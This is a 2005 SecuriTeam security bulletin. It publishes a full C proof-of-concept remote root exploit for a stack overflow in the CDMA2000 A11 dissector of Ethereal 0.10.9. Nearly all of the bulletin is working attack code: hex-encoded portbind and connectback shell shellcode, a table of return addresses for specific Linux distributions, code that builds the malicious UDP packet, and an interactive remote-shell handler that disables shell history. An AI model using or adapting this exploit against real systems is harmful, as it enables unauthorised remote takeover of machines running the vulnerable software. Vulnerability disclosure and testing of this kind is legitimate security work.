[EXPL] Ethereal CDMA2000 A11 Stack Overflow (Exploit with Shellcode)

From: SecuriTeam (support_at_securiteam.com)
Date: 03/15/05

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Date: 15 Mar 2005 15:55:44 +0200

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Ethereal CDMA2000 A11 Stack Overflow (Exploit with Shellcode)
------------------------------------------------------------------------

SUMMARY

The <http://www.securiteam.com/securitynews/5PP062KF5O.html> CDMA2000 A11
protocol dissector (packet-3g-a11.c) has a stack overflow vulnerability
when decoding Airlink records. The following exploit code can be used to
test your system for the mentioned vulnerability. Unlike previous exploit
codes this one will inject a shellcode, and not just cause the Ethereal
program to crash.

DETAILS

Vulnerable Systems:
* Ethereal 0.10.9 and prior

Immune Systems:
* Ethereal 0.10.10 or newer

Exploit:
/*
* Ethereal 0.10.9 and below proof-of-concept remote root exploit
* (c) 2005 Diego Giagio <dgiagio@irion.com.br>
*
* The CDMA2000 A11 protocol dissector (packet-3g-a11.c) has a stack
overflow
* vulnerability when decoding Airlink records. This vulnerability was
also
* discovered by Diego Giagio on 01/March/2005. The vendor was imediatelly
* contacted.
*
*
* Notes:
*
* This program has only been tested on Linux.
*
* If your system isn't on the target list and you are running Linux
(x86), you
* can easily find your system's ret address. See below:
*
* First you need to force Ethereal dump a core file.
* bash$ ./ethereal-g3-a11 -a 0xdeadbeef -s 1 -d <your_machine_ip> -p
65535
*
* Then, use the script below to find the ret address from the core file:
* --snip--
* #!/bin/sh
*
* ADDR=`objdump -D -s core | \
* grep "90909090 90909090 90909090 90909090" | \
* head -2 | tail -1 | awk '{print 0x$1}'`
* echo "Address: 0x$ADDR"
* --snip--
*
* Use that address with the -a <address> option. Good luck.
*
*
* Greets:
*
* ttaranto, eniac, rogbas, pjoppert, skylazart, cync, runixd,
* surfer, setnf, cbc, SUiCiDE, _hide, Codak, dm_, nuTshell
*
* #buffer@ircs.ircsnet.net
*
*/

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>

/*
* portbind, execve /bin/sh linux shellcode by BreeZe <breeze@binbash.org>
*/
char sc_portbind[] =
"\x31\xc0\x89\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89\x45\x08\x8d\x4d\x08"
"\xb0\x66\xcd\x80\x89\x45\x08\x43\x89\x5d\x14\x66\xc7\x45\x16\xff\xff\x31"
"\xc0\x89\x45\x18\x8d\x55\x14\x89\x55\x0c\xc6\x45\x10\x10\xb0\x66\xcd\x80"
"\x40\x89\x45\x0c\x43\x43\xb0\x66\xcd\x80\x43\x89\x45\x0c\x89\x45\x10\xb0"
"\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0"
"\x3f\xcd\x80\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff"
"\x2f\x62\x69\x6e\x2f\x73\x68\x54\x52\x4f\x45\x50\x4a\x55\x48\x53";

/*
* connectback, execve /bin/sh linux shellcode by BreeZe
<breeze@binbash.org>
* slighty modified by Diego Giagio <dgiagio@irion.com.br>
*/
char sc_connectback[] =
"\x31\xc0\x89\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89\x45\x08\x8d\x4d\x08"
"\xb0\x66\xcd\x80\x89\x45\x08\x43\x89\x5d\x14\x43\x66\xc7\x45\x16\xff\xff"
"\xc7\x45\x18\xc6\x51\x81\x64\x8d\x55\x14\x89\x55\x0c\xc6\x45\x10\x10\xb0"
"\x66\xcd\x80\x8b\x5d\x08\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41"
"\xb0\x3f\xcd\x80\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89"
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x54\x52\x4f\x45\x50\x4a\x55\x48\x53";

typedef enum
{
    SC_NULL = -1,
    SC_PORTBIND = 1,
    SC_CONNECTBACK = 2
} shellcode_type_t;

struct shellcode_t
{
int id;

shellcode_type_t type;

char *desc;
char *data;

int host_offset;
int port_offset;
};

struct shellcode_t shellcode_list[] =
{
    {1, SC_PORTBIND, "portbind", sc_portbind, -1, 33},
    {2, SC_CONNECTBACK, "connectback", sc_connectback, 39, 34},
    {-1, SC_NULL, NULL, NULL, -1, -1}
};

struct target_t
{
    int id;
    char *desc;
    long addr;
};

struct target_t target_list[] =
{
    {1, "Slackware 10.1 - ethereal 0.10.9 from source", 0x0812d110},
    {2, "Slackware 10.1 - tethereal 0.10.9 from source", 0x081f30d0},
    {3, "Fedora Core 3 - ethereal 0.10.9 from rpm", 0x08117a80},
    {4, "Fedora Core 3 - tethereal 0.10.9 from rpm", 0x08690ac0},
    {4, "Gentoo 2004.3 - tethereal 0.10.9 from portage", 0x081c3d90},
    {-1, NULL, -1}
};

#define PROTO_3G_A11_PORT 699

char proto_3g_a11_begin[] =
"\x01" // a11 message type - registration request
"\x0a" // flags
"\xff\xff" // lifetime 0000 to ffff
"\x00\x00\x00\x00" // home address
"\xf0\x00\xba\x00" // home agent addr - any addr
"\x00\x00\x00\x00" // care of addr - any addr
"\xde\xad\xbe\xef\xd0\x00\x00\x0d" // identification
"\x26" // ext type - CVSE_EXT
"\x00" // nada
"\xff\xff" // ext len
"\x00\x00\x00\x00" // vse vid
"\x01\x01" // vse apptype 0x0101
;

char proto_3g_a11_before_shellcode[] =
"\x1a" // radius vendor specific
"\xff" // len
;

char proto_3g_a11_before_retaddrs[] =
"\x1f" // radius ad-hoc
"\xfe" // len
;

static int
find_shellcode_by_id (int id, struct shellcode_t **sc)
{
int i;

    for (i=0; shellcode_list[i].id != -1; i++)
    {
if (shellcode_list[i].id == id)
{
     *sc = &shellcode_list[i];
     return 0;
}
    }

return -1;
}

static int
find_target_by_id (int id, struct target_t **target)
{
int i;

    for (i=0; target_list[i].id != -1; i++)
    {
if (target_list[i].id == id)
{
     *target = &target_list[i];
     return 0;
}
    }

return -1;
}

int
parse_ip (const char *ipstr, long *ip)
{
int a, b, c, d;

if (sscanf (ipstr, "%d.%d.%d.%d", &a, &b, &c, &d) != 4)
return -1;

    *ip = (d & 0x000000ff);
    *ip |= (c & 0x000000ff) << 8;
    *ip |= (b & 0x000000ff) << 16;
    *ip |= (a & 0x000000ff) << 24;

return 0;
}

static int
sock_create (int type, int proto)
{
    struct linger l;
    int sock;
    int sockopt;
    int ret;

    sock = socket (type, proto, 0);
    if (sock < 0)
return -1;

    l.l_onoff = 1;
    l.l_linger = 0;
    ret = setsockopt (sock, SOL_SOCKET, SO_LINGER, &l, sizeof (l));
    if (ret < 0)
    {
close (sock);
return -2;
    }

    sockopt = 1;
    ret = setsockopt (sock, SOL_SOCKET, SO_REUSEADDR, &sockopt,
        sizeof (sockopt));
    if (ret < 0)
    {
close (sock);
return -3;
    }

return sock;
}

static int
sock_udp_create (void)
{
return sock_create (AF_INET, SOCK_DGRAM);
}

static int
sock_tcp_create (void)
{
return sock_create (AF_INET, SOCK_STREAM);
}

static int
sock_connect (int sock, long host, int port)
{
struct sockaddr_in addr;

    memset (&addr, 0, sizeof (addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons (port);
    addr.sin_addr.s_addr = htonl (host);

if (connect (sock, (struct sockaddr *)&addr, sizeof (addr)) < 0)
return -1;

return sock;
}

static int
sock_bind (int sock, long host, int port)
{
struct sockaddr_in addr;

    memset (&addr, 0, sizeof (addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons (port);
    addr.sin_addr.s_addr = htonl (host);

if (bind (sock, (struct sockaddr *)&addr, sizeof (addr)) < 0)
return -1;

if (listen (sock, 1) < 0)
return -1;
}

static int
sock_accept (int sock)
{
    fd_set fds;
    struct sockaddr_in addr;
    struct timeval tv;
    int new_sock;
    int ret;

FD_ZERO (&fds);
FD_SET (sock, &fds);

tv.tv_sec = 10;
tv.tv_usec = 0;

ret = select (sock + 1, &fds, NULL, NULL, &tv);
if (ret < 0)
return -1;

    if (ret == 0)
    {
errno = ETIMEDOUT;
return -1;
    }

if (FD_ISSET (sock, &fds))
{
int i = sizeof (addr);

new_sock = accept (sock, (struct sockaddr *)&addr, &i);
if (new_sock < 0)
return -1;

return new_sock;
}

return -1;
}

static void
sock_disconnect (int sock)
{
close (sock);
}

static int
sock_send_payload (long dest, int port, char *packet, int packet_len)
{
int sock;

    /* create udp socket */
    sock = sock_udp_create ();
    if (sock_connect (sock, dest, PROTO_3G_A11_PORT) < 0)
     return -1;

/* send packet */
send (sock, packet, packet_len, 0);

printf ("[-] UDP packet sent (%d bytes).\n", packet_len);
fflush (stdout);

/* disconnect socket */
sock_disconnect (sock);

return 0;
}

static void
shell (int sock)
{
    fd_set fds;
    char *cmd = "unset HISTFILE; /bin/uname -a; /usr/bin/id\n";
    char buf [2048];
    int n;

printf ("[-] Enjoy your shell\n");
printf ("\n");

send (sock, cmd, strlen (cmd), 0);

while (1)
{
FD_ZERO (&fds);
FD_SET (sock, &fds); /* socket */
FD_SET (0, &fds); /* stdin */

if (select (sock + 1, &fds, NULL, NULL, NULL) < 0)
break;

if (FD_ISSET (sock, &fds))
{
     if ((n = recv (sock, buf, sizeof (buf), 0)) < 0)
     {
  perror ("[-] shell(): error reading from socket: recv()");
  return;
     }

if (n == 0)
break;

     if ((write (1, buf, n)) < 0)
     {
  perror ("[-] shell(): error writing to stdout: write()");
  return;
     }
}

if (FD_ISSET (0, &fds))
{
     if ((n = read (0, buf, sizeof (buf))) < 0)
     {
  perror ("[-] shell(): error reading from stdin: read()");
  return;
     }

     if ((send (sock, buf, n, 0)) < 0)
     {
  perror ("[-] shell(): error writing to socket: send()");
  return;
     }

     if (n == 0)
  break;
}
    }

printf ("[-] Connection closed.\n");
}

static void
shell_portbind (long dest, int port, char *packet, int packet_len)
{
int sock;

    if (sock_send_payload (dest, port, packet, packet_len) < 0)
    {
perror ("[-] Unable to send payload");
return;
    }

    sock = sock_tcp_create ();
    if (sock < 0)
    {
perror ("[-] Error creating socket");
return;
    }

    printf ("[-] Delaying 3 seconds before connection attempt
(portbind).");
    fflush (stdout);
    sleep (1);
    printf (".");
    fflush (stdout);
    sleep (1);
    printf (".");
    fflush (stdout);
    sleep (1);
    printf ("\n");

    if (sock_connect (sock, dest, port) < 0)
    {
perror ("[-] Unable to connect");
return;
    }

shell (sock);
sock_disconnect (sock);
}

static void
shell_connectback (long host, int port, long dest,
     char *packet, int packet_len)
{
    int sock;
    int new_sock;

    sock = sock_tcp_create ();
    if (sock < 0)
    {
perror ("[-] Error creating socket");
return;
    }

    /* we bind before sending the payload to avoid not being
     * listening when the connectback shellcode tries to connect
     */
    if (sock_bind (sock, host, port) < 0)
    {
perror ("[-] Unable to bind/listen");
return;
    }

    if (sock_send_payload (dest, port, packet, packet_len) < 0)
    {
perror ("[-] Unable to send payload");
return;
    }

printf ("[-] Waiting 10s for incoming connection (connectback)...\n");
fflush (stdout);

    new_sock = sock_accept (sock);
    if (new_sock < 0)
    {
perror ("[-] Unable to accept connection");
return;
    }

sock_disconnect (sock);

shell (new_sock);
sock_disconnect (new_sock);
}

static void
prog_info (void)
{
    printf ("Ethereal 0.10.9 and below proof-of-concept remote
exploit.\n");
    printf ("(c) 2005 Diego Giagio <dgiagio@irion.com.br>\n");
    printf ("\n");
}

static void
usage (const char *prog)
{
int i;

prog_info ();

    printf ("Usage:\n");
    printf (" [-] %s -t <target> -s <shellcode> -d <dest ip> "
     "-h <host> -p <port>\n"
     " [-] %s -a <addr> -s <shellcode> -d <dest ip> "
     "-h <host> -p <port>\n", prog, prog);

printf ("\n");

    printf ("Target:\n");
    for (i=0; target_list[i].id != -1; i++)
    {
printf (" [-] %d. %s, addr: 0x%x\n",
  target_list[i].id, target_list[i].desc, target_list[i].addr);
    }

printf ("\n");

    printf ("Shellcode:\n");
    for (i=0; shellcode_list[i].id != -1; i++)
    {
printf (" [-] %d. %s\n",
  shellcode_list[i].id,
  shellcode_list[i].desc);
    }

printf ("\n");

    printf ("Info:\n");
    printf (" [-] 1. When using connectback shellcode, you must
specify\n");
    printf (" [-] the host to receive the connection (-h).\n");
    printf ("\n");
    printf (" [-] 2. When using portbind shellcode, the option (-h) will
\n");
    printf (" [-] have no effect.\n");

printf ("\n");
}

int
main (int argc, char *argv[])
{
    struct target_t *target = NULL;
    struct shellcode_t *shellcode = NULL;
    int shellcode_len;

    long dest = 0;
    long host = 0;
    int port = 0;
    long addr = 0;

    int opt;
    int opt_err = 0;
    int i;

    char *ptr_pkt;
    char pkt[1500];
    int pkt_len;

while ((opt = getopt (argc, argv, "t:s:d:h:p:a:")) != EOF)
{
switch (opt)
{

case 't': /* target id */
     if (find_target_by_id (atoi (optarg), &target) < 0)
     {
  printf ("Not a valid target id.\n");
  opt_err ++;
     }
     break;

case 's': /* shellcode id */
     if (find_shellcode_by_id (atoi (optarg), &shellcode) < 0)
     {
  printf ("Not a valid shellcode id.\n");
  opt_err ++;
     }
     break;

case 'd': /* destination */
     if (parse_ip (optarg, &dest) < 0)
     {
  printf ("Invalid address for destination.\n");
  opt_err ++;
     }
     break;

case 'h': /* host for connectback */
     if (parse_ip (optarg, &host) < 0)
     {
  printf ("Invalid address for host.\n");
  opt_err ++;
     }

break;

case 'p': /* port for connectback or portbind */
     port = atoi (optarg);
     if (port < 0 || port > 65535)
     {
  printf ("Invalid port.\n");
  opt_err ++;
     }

break;

case 'a': /* ret address */
     if (sscanf (optarg, "0x%x", &addr) != 1)
     {
  printf ("Invalid address.\n");
  opt_err ++;
     }
     break;

case '?':
default:
  usage (argv[0]);
  opt_err ++;
  break;
}
    }

if (opt_err != 0)
return -1;

    if (argc < 2)
    {
     usage (argv[0]);
     return 0;
    }

    if (target == NULL && addr == 0)
    {
printf ("Please choose either a target (-t) or an address (-a).\n");
return -1;
    }

    if (target != NULL && addr != 0)
    {
printf ("Target (-t) and address (-a) cannot be used together.\n");
return -1;
    }

addr = target != NULL ? target->addr : addr;

    if (shellcode == NULL)
    {
printf ("Please choose a shellcode (-s).\n");
return -1;
    }

shellcode_len = strlen (shellcode->data);

    if (dest == 0)
    {
printf ("Please choose a destination (-d).\n");
return -1;
    }

if (shellcode->host_offset != -1)
{
char *ptr;

if (host == 0)
{
printf ("Please choose a host (-h).\n");
return -1;
}

ptr = shellcode->data + shellcode->host_offset;
*(ptr++) = (host & 0xff000000) >> 24;
*(ptr++) = (host & 0x00ff0000) >> 16;
*(ptr++) = (host & 0x0000ff00) >> 8;
*(ptr++) = (host & 0x000000ff);
}

if (shellcode->port_offset != -1)
{
char *ptr;

if (port == 0)
{
printf ("Please choose a port (-p).\n");
return -1;
}

ptr = shellcode->data + shellcode->port_offset;
*(ptr++) = (port & 0xff00) >> 8;
*(ptr++) = (port & 0x00ff);
}

/* copyright */
prog_info ();

    /* some info */
    printf ("[-] Using addr 0x%x\n", addr);
    fflush (stdout);

/* build packet */
ptr_pkt = pkt;

    memcpy (ptr_pkt, proto_3g_a11_begin,
     sizeof (proto_3g_a11_begin));
    ptr_pkt += sizeof (proto_3g_a11_begin) - 1;

    memcpy (ptr_pkt, proto_3g_a11_before_shellcode,
     sizeof (proto_3g_a11_before_shellcode));
    ptr_pkt += sizeof (proto_3g_a11_before_shellcode) - 1;

    /* shellcode */
    memset (ptr_pkt, 0x90, 255);
    ptr_pkt += 255 - shellcode_len - 2;
    memcpy (ptr_pkt, shellcode->data, shellcode_len);
    ptr_pkt += shellcode_len;

    memcpy (ptr_pkt, proto_3g_a11_before_retaddrs,
     sizeof (proto_3g_a11_before_retaddrs));
    ptr_pkt += sizeof (proto_3g_a11_before_retaddrs) - 1;

    /* addrs */
    for (i=0; i<254; i+=4)
    {
ptr_pkt[i] = (addr & 0x000000ff);
ptr_pkt[i+1] = (addr & 0x0000ff00) >> 8;
ptr_pkt[i+2] = (addr & 0x00ff0000) >> 16;
ptr_pkt[i+3] = (addr & 0xff000000) >> 24;
    }
    ptr_pkt += 254;

/* calc packet len */
pkt_len = ptr_pkt - pkt;

    switch (shellcode->type)
    {
    case SC_PORTBIND:
shell_portbind (dest, port, pkt, pkt_len);
break;
    case SC_CONNECTBACK:
shell_connectback (host, port, dest, pkt, pkt_len);
break;
    default:
/* NOT REACHED */
break;
    }

return 0;
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:dgiagio@irion.com.br> Diego
Giagio.

========================================

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====================
====================

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The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

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